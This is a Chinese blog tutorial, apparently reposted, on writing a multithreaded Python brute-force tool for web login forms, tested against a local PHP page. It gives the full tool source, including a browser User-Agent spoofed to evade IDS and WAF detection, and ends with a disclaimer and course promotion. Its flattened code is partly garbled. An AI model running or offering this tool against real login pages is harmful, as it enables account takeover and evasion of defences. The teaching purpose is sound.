Python开发:简单的密码爆破工具

2024-05-29 20:36

本文主要是介绍Python开发:简单的密码爆破工具,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

当我们进行在线密码破解时,使用 BurpSuite 以及 wfuzz 足以应对大部分网站应用场景。但是在遇到一些特殊情况时我们还是需要自己来开发密码爆破工具,本文将介绍如何使用Python开发一款简单的密码爆破工具。

 

0x01 背景介绍

密码破解

记得有大佬曾经说过:一个系统的突破往往是从弱口令开始,为了拿到弱口令我们就需要了解密码破解技术。密码破解主要分为离线密码破解和在线密码破解。

在平时渗透时我们通常遇到的就是在线密码破解,破解对象包括各类系统服务以及各种网站应用,当我们面对rdp、ftp、ssh等服务,一般情况下可使用 hydra、超级弱口令爆破工具进行破解;而假如面对的是网站应用,最常用到的就是 BurpSuite、wfuzz。

离线破解主要出现在后渗透阶段,在系统中存在各种加密的哈希值,借助 hashcat、john 等破解工具则能够有效地帮助我们完成密码破解,遇到实在无法破解的密文我们还可以放入在线破解网站进行解密。

Python

Python是一种简单易学,功能强大的编程语言,它有高效率的高层数据结构,简单而有效地实现面向对象编程。Python简洁的语法和对动态输入的支持,再加上解释性语言的本质,使得它在大多数平台上的许多领域都是一个理想的脚本语言,特别适用于快速的应用程序开发。

0x02 环境搭建

我在 macOS 下使用环境搭建工具为 MAMP,环境语言为 PHP。没有 mac 的同学可在 Windows 下可使用 phpstudy 代替即可。MAMP 默认开放8888端口,访问后出现如下界面说明环境开启成功。

截屏2022-04-09 下午11.19.53

源代码以POST方式传递账号密码,主要用于测试密码爆破,具体代码如下:

<?php
$con = mysqli_connect("localhost:8889","root","root","test");
if (mysqli_connect_errno())
{echo "Fail: ".mysql_connect_error();
}
$username = $_POST['username'];
$password = $_POST['password'];
$submit = $_POST['submit'];
if ($submit == "submit"){$result = mysqli_query($con,"select * from users where `username`='".addslashes($username)."' and `password`='".addslashes($password)."'");
}$row = mysqli_fetch_array($result);
if ($row){exit("login success");
}else{exit("login failed");
}
?>

为了配合密码破解在数据库中创建users表并存入一些账号密码。

截屏2022-04-09 下午11.26.00

使用 Python 进行测试并输入正确的账号密码。

import requestsurl = "http://127.0.0.1:8888/python_test/brute/brute_submit.php"
r = requests.post(url, data={"username": "admin", "password": "123456", "submit": "submit"}, headers=headers)print(r.text)

成功返回login success说明环境搭建成功。

截屏2022-04-09 下午11.33.50

0x03 工具开发

配置optparse模块

首先我们使用 Python 自带的 OptParse 模块定制程序的参数选项控制,基本用法如下。

1、导入OptionParser类并新建对象OptionParser()
2、添加选项: add_option(…)
3、参数解析: parse_args()

在 add_option() 中可配置如下参数。

dest: 决定解析后取值时的属性名
type: 选项的值类型,默认类型是字符串
help: 选项中的帮助信息
metavar: 显示到 help 中选项的默认值
action: 用于控制对选项和参数的处理,可设置为以下几种字符串:- "store": 储存值到 dest 指定的属性,强制要求后面提供参数- "store_true": 当使用该选项时后面的 dest 将设置为 true, 不跟参数- "store_false": 当使用该选项时后面的 dest 将设置为 false,常配合另一个 "store_true" 的选项使用同一个 dest 时使用,不跟参数- "append": 储存值到 dest 指定的属性并且是以数组的形式, 必须跟参数- "store_const": 用来存储参数为 const 设置的值到 dest 指定的属性当中,常用于 dest 为同名2个以上选项时的处理,不跟参数- "append_const": 用来存储参数为 const 设置的数组到 dest 指定的属性当中,不跟参数- "count": 使用后将给储存值到 dest 指定的属性值加1,可以统计参数中出现次数,不跟参数- "callback": 后面指定回调函数名(不加括号),会将相应opt和args传给回调函数- "help", "version": 对应为帮助和版本,要另外自己设计时使用

有了以上知识的了解,我们可为爆破工具配置对应的参数选项,主要包括请求地址、账号字典、密码字典以及进程。

import optparseparser = optparse.OptionParser()
parser.usage = "web_brute.py -s url -u user_file -p pass_file -t num"
parser.add_option("-s", "--site", dest="website", metavar="url", help="website to test", action="store", type="string")
parser.add_option("-u", "--userfile", dest="userfile", metavar="FILE", help="username from file", action="store", type="string")
parser.add_option("-p", "--passfile", dest="passfile", metavar="FILE", help="password from file", action="store", type="string")
parser.add_option("-t", "--threads", dest="threads", help="number of threads", action="store", type="int")(options, args) = parser.parse_args()

使用-h命令查看输出的帮助信息。

截屏2022-04-10 上午12.34.44

确认payload

密码字典和线程主要用于控制 payload 请求,线程决定并发的 payload 请求数,而密码决定具体的 payload 请求内容。

import math# 输入参数选项
website = options.website
threads = options.threads
user_dict = options.userfile
pass_dic = options.passfilepass_list = []
# 打开密码字典
with open(pass_dic) as f:temp_list = f.readlines()temp_threads_list = []# 使用临时列表的项数除以线程数确定每一个线程中的项数num = len(temp_list)result = num/threads# 选择floor向下取整result_num = math.floor(result)# 根据项数分配 payloadflag = 0for line in temp_list:flag = flag + 1temp_threads_list.append(line.strip())if flag == result_num:flag = 0pass_list.append(temp_threads_list)temp_threads_list = []# 如果存在余数需添加多余项for line in temp_threads_list:pass_list[threads-1].append(line)

 

多线程扫描

多线程扫描需导入 threading、requests 模块,从字典中获取用户以及密码作为请求参数进行扫描,我们可根据返回长度来判断登陆是否成功。

import requests
import threadingdef scan(payload):user = payload["username"]pass_list = payload["pass_list"]# 遍历密码发送请求for password in pass_list:r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"})# 打印扫描结果print(user + " : " + password + " length=" + str(len(r.text)) + "\n")threads_list = []
# 打开账号字典
with open(user_dict) as f:user_dict = f.readlines()# 确定payloadfor user in user_dict:for pass_line in pass_list:payload = {"username": user.strip(), "pass_list": pass_line}threads_list.append(threading.Thread(target=scan, args=(payload,)))# 启动线程
for thread in threads_list:thread.start()

 

测试与优化

使用以上代码对目标进行测试,查看扫描效果。

python3 web_brute.py -s http://127.0.0.1:8888/python_test/brute/brute_submit.php -u username.txt -p password.txt -t 4

截屏2022-04-10 上午1.27.21

结果虽然能够完成对目标的测试并成功获取不同的返回值,但是一旦账号密码足够多的话我们很难从一堆扫描结果中找到登陆成功的账号密码,因此我们可定义 test 类作为参考,使用一个错误的返回值进行对比并输出最终的扫描结果。

def test():url = "http://127.0.0.1:8888/python_test/brute/brute_submit.php"r = requests.post(url, data={"username": "mac", "password": "mac", "submit": "submit"})return len(r.text)def scan(paylaod):...for password in pass_list:r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"},)if len(r.text) != test():print(user + ":" + password + " login success")

再次进行测试,返回结果只显示登录成功的账号密码以及扫描结果。

截屏2022-04-10 上午1.34.39

但是这其中还存在一个问题:使用 requests 库会在请求头中设置默认的User-agent

截屏2022-04-10 上午1.39.41

为了躲避 IDS、WAF 等防御设备,我们可以定制请求头为正常的浏览器请求。

def scan(payload):...headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36"}for password in pass_list:r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"}, headers=headers)

截屏2022-04-10 上午1.42.17

测试成功,这样一来一个简单的密码爆破工具开发完成,源码如下:

import math
import optparse
import threadingimport requestsparser = optparse.OptionParser()
parser.usage = "web_brute.py -s url -u user_file -p pass_file -t num"
parser.add_option("-s", "--site", dest="website", metavar="url", help="website to test", action="store", type="string")
parser.add_option("-u", "--userfile", dest="userfile", metavar="FILE", help="username from file", action="store", type="string")
parser.add_option("-p", "--passfile", dest="passfile", metavar="FILE", help="password from file", action="store", type="string")
parser.add_option("-t", "--threads", dest="threads", help="number of threads", action="store", type="int")(options, args) = parser.parse_args()website = options.website
threads = options.threads
user_dict = options.userfile
pass_dic = options.passfilepass_list = []
with open(pass_dic) as f:temp_list = f.readlines()temp_threads_list = []num = len(temp_list)result = num/threadsresult_num = math.floor(result)flag = 0for line in temp_list:flag = flag + 1temp_threads_list.append(line.strip())if flag == result:flag = 0pass_list.append(temp_threads_list)temp_threads_list = []for line in temp_threads_list:pass_list[threads-1].append(line)def test():url = "http://127.0.0.1:8888/python_test/brute/brute_submit.php"r = requests.post(url, data={"username": "admin", "password": "12345", "submit": "submit"})return len(r.text)def scan(payload):user = payload["username"]pass_list = payload["pass_list"]headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36"}for password in pass_list:r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"}, headers=headers)if len(r.text) != test():print(user + ":" + password + " login success")threads_list = []
with open(user_dict) as f:user_dict = f.readlines()for user in user_dict:for pass_line in pass_list:payload = {"username": user.strip(), "pass_list": pass_line}threads_list.append(threading.Thread(target=scan, args=(payload,)))for thread in threads_list:thread.start()

 以后我们可修改其中的参数、变量来应对不同的应用环境。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

这篇关于Python开发:简单的密码爆破工具的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1014581

相关文章

Python获取C++中返回的char*字段的两种思路

《Python获取C++中返回的char*字段的两种思路》有时候需要获取C++函数中返回来的不定长的char*字符串,本文小编为大家找到了两种解决问题的思路,感兴趣的小伙伴可以跟随小编一起学习一下... 有时候需要获取C++函数中返回来的不定长的char*字符串,目前我找到两种解决问题的思路,具体实现如下:

python连接本地SQL server详细图文教程

《python连接本地SQLserver详细图文教程》在数据分析领域,经常需要从数据库中获取数据进行分析和处理,下面:本文主要介绍python连接本地SQLserver的相关资料,文中通过代码... 目录一.设置本地账号1.新建用户2.开启双重验证3,开启TCP/IP本地服务二js.python连接实例1.

基于Python和MoviePy实现照片管理和视频合成工具

《基于Python和MoviePy实现照片管理和视频合成工具》在这篇博客中,我们将详细剖析一个基于Python的图形界面应用程序,该程序使用wxPython构建用户界面,并结合MoviePy、Pill... 目录引言项目概述代码结构分析1. 导入和依赖2. 主类:PhotoManager初始化方法:__in

Python从零打造高安全密码管理器

《Python从零打造高安全密码管理器》在数字化时代,每人平均需要管理近百个账号密码,本文将带大家深入剖析一个基于Python的高安全性密码管理器实现方案,感兴趣的小伙伴可以参考一下... 目录一、前言:为什么我们需要专属密码管理器二、系统架构设计2.1 安全加密体系2.2 密码强度策略三、核心功能实现详解

Python Faker库基本用法详解

《PythonFaker库基本用法详解》Faker是一个非常强大的库,适用于生成各种类型的伪随机数据,可以帮助开发者在测试、数据生成、或其他需要随机数据的场景中提高效率,本文给大家介绍PythonF... 目录安装基本用法主要功能示例代码语言和地区生成多条假数据自定义字段小结Faker 是一个 python

Python实现AVIF图片与其他图片格式间的批量转换

《Python实现AVIF图片与其他图片格式间的批量转换》这篇文章主要为大家详细介绍了如何使用Pillow库实现AVIF与其他格式的相互转换,即将AVIF转换为常见的格式,比如JPG或PNG,需要的小... 目录环境配置1.将单个 AVIF 图片转换为 JPG 和 PNG2.批量转换目录下所有 AVIF 图

Python通过模块化开发优化代码的技巧分享

《Python通过模块化开发优化代码的技巧分享》模块化开发就是把代码拆成一个个“零件”,该封装封装,该拆分拆分,下面小编就来和大家简单聊聊python如何用模块化开发进行代码优化吧... 目录什么是模块化开发如何拆分代码改进版:拆分成模块让模块更强大:使用 __init__.py你一定会遇到的问题模www.

详解如何通过Python批量转换图片为PDF

《详解如何通过Python批量转换图片为PDF》:本文主要介绍如何基于Python+Tkinter开发的图片批量转PDF工具,可以支持批量添加图片,拖拽等操作,感兴趣的小伙伴可以参考一下... 目录1. 概述2. 功能亮点2.1 主要功能2.2 界面设计3. 使用指南3.1 运行环境3.2 使用步骤4. 核

Python 安装和配置flask, flask_cors的图文教程

《Python安装和配置flask,flask_cors的图文教程》:本文主要介绍Python安装和配置flask,flask_cors的图文教程,本文通过图文并茂的形式给大家介绍的非常详细,... 目录一.python安装:二,配置环境变量,三:检查Python安装和环境变量,四:安装flask和flas

Spring Security基于数据库的ABAC属性权限模型实战开发教程

《SpringSecurity基于数据库的ABAC属性权限模型实战开发教程》:本文主要介绍SpringSecurity基于数据库的ABAC属性权限模型实战开发教程,本文给大家介绍的非常详细,对大... 目录1. 前言2. 权限决策依据RBACABAC综合对比3. 数据库表结构说明4. 实战开始5. MyBA